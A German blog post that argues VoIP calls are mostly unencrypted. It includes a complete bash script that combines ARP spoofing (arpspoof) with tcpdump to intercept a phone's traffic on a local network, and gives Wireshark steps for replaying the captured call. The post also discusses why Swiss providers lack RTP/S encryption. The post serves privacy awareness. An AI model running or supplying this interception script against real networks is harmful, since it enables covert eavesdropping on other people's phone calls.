Der VoIP Beschiss

Beitrag vom März 2025 aus dem Bereich Data privacy von Arthur Weder

Die IP-Telefonie - Voice over IP (VoIP) birgt aufgrund fehlender Verschlüsselung datenschutzrechtliche Risiken. Mit der zunehmenden Verbreitung dieser Technologie, insbesondere durch die Umstellung von ISDN auf IP-Telefonie, rückt auch ihre Sicherheit verstärkt in den Fokus. Im Folgenden zeige ich, wie einfach es ist, ein Telefonat mitzuhören.

Der VoIP Beschiss

IP-Verkehr mitschneiden

Das folgende Script protokolliert den gesamten IP-Verkehr zwischen Telefone (Hardphones) oder Computer mit VoIP-Software (Softphones) und dem Internet-Router.

Danach werden die mitgeschnittenen Datenpakete mit einem Decoder wieder zusammengesetzt z.B. mit einem frei verfügbaren Netzwerk-Sniffer (z.B Wireshark) und der Anruf kann erneut abgespielt werden.

praktisches Script

Im Script nutzten wir dafür einen simplen ARP-Spoofing-Redirect (arpspoof - aus dem Packet dsniff), was bedeutet, dass die interne Netzwerkkommunikation zwischen IP-Telefon und Router mittels gefälschten ARP-Paketen über den Angreifer-PC geleitet wird.

arpspoof.sh

#!/usr/bin/bash

stamp=$(($(date +%s%N)/1000000))
if [[ $EUID -ne 0 ]]; then
    echo "You must be root"
    exit 1
fi
if [[ $# -ne 3 ]]; then
    echo "Usage: ./arpspoof.sh eth0 {station ip adress} {gateway ip adress}"
    exit 1
fi
# enable forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
sysctl -w net.ipv4.ip_forward=1
ifconfig $1 promisc
# Spoof
arpspoof -i $1 -c own -t $2 $3 > /dev/null 2>&1 &
PID1=$!
arpspoof -i $1 -c own -t $3 $2 > /dev/null 2>&1 &
PID2=$!
# dmup traffic 
tcpdump -i $1 -w captured_packets_$2_$stamp.pcap -n host $2 &
echo "press any key to stop spoofing..."
read
# Stop
kill -9 $PID1 $PID2
echo 0 > /proc/sys/net/ipv4/ip_forward
sysctl -w net.ipv4.ip_forward=0
ifconfig $1 -promisc
exit 0

Ausgangslage:

Telefon: 10.210.55.143
Gateway: 10.210.55.1

Starten kann man das Script dann ganz einfach:

sudo ./arpspoof.sh eth0 10.210.55.143 10.210.55.1

Nun muss die gespeicherte Datrei *.pcap nur noch in Wireshark geöffnet werden.

Im Menü folgen: Telefonie - VoiP Anrufe -Zugehörige RTP Sreams auswählen - markieren - Stream abspielen

Der VoIP Beschiss

Im selben Netzwerk

Dies klappt nur mit Zugriff auf das interne Netzwerk. Um die VoIP-Gespräche von außerhalb mitzuschneiden, muss daher ein Zugriff auf die Kommunikation zwischen Routern und Providern bestehen. So natürlich auch nur wenn auf dem internen Router kein statisches ARP eingestellt ist, und das ist eigentlich nie eingestellt weil der administrative Aufwand viel zu gross wäre.

Es wird berichtet, dass solche externen Zugriffe zumindest bei einigen Anbietern durch spezielle VPNs, welche die VoIP-Daten über eine gesicherte parallele Verbindung übertragen, verhindert werden. Das bedingt aber das weitere Geräte zwischen dem Telefon und dem internen Netzwerk eingesetzt werden, wenn es das Telefon oder der VoiP Client selber nicht unterstützt sollte.

Ist das die Lösung?

Durch die Sicherheitsmassnahmen (VPNs) der Anbieter wird dem unbedarften Gelegenheitshacker auf jeden Fall ein Strich durch die Rechnung gemacht. Nichts desto trotz bleibt VoIP standardmäßig unverschlüsselt. Daher bleibt, wie oben beschrieben, der Zugriff auf den Übertragungskanal der VoIP-Daten auch der eigentliche Knackpunkt. Egal ob im internen oder externen Netzwerk: Wer Zugang zum Datenstrom hat, kann auch das VoIP-Gespräch mithören.

Warum nicht immer RTP/S?

Die Gründe, warum viele VoIP-Anbieter in der Schweiz keine Verschlüsselung anbieten, können vielfältig sein:

Ich habe bei einer Vielzahl von Anbietern in der Schweiz nachgefragt und in den meisten Fällen keine oder nur unzureichende Informationen über die Verschlüsselung ihrer VoIP-Produkte erhalten.

Es wäre Bashing, wenn ich die teils unqualifizierten Antworten der einzelnen Anbieter hier auflisten würde. Dennoch lassen sich die möglichen Gründe in etwa wie folgt zusammenfassen:

  • Historische Standards: Ältere VoIP-Protokolle wie SIP und RTP wurden ursprünglich ohne Verschlüsselung entwickelt oder alte Geräte bieten keine Unterstützung für TLS Zertifikate
  • Ressourcen: Verschlüsselung erfordert zusätzliche Rechenleistung und Bandbreite, was besonders in ressourcenbeschränkten Umgebungen problematisch sein kann.
  • Komplexität: Die Implementierung von Verschlüsselung kann die Komplexität und die Kosten der Dienstbereitstellung erhöhen.
  • Überwachung: In einigen Ländern gibt es gesetzliche Anforderungen, die Überwachungsmöglichkeiten für Sicherheitsbehörden vorschreiben.

Passende Beiträge aus dem Bereich Data privacy

Werbung und Werbe ID abschalten  in Android IOS und Windows 11 und damit Tracking verringern

Werbung und Werbe ID abschalten in Android IOS und Windows 11 und damit Tracking verringern

Databroker verkaufen Standortdaten von Millionen Menschen weltweit. Zehntausende Applikationen sind betroffen, wie Verö...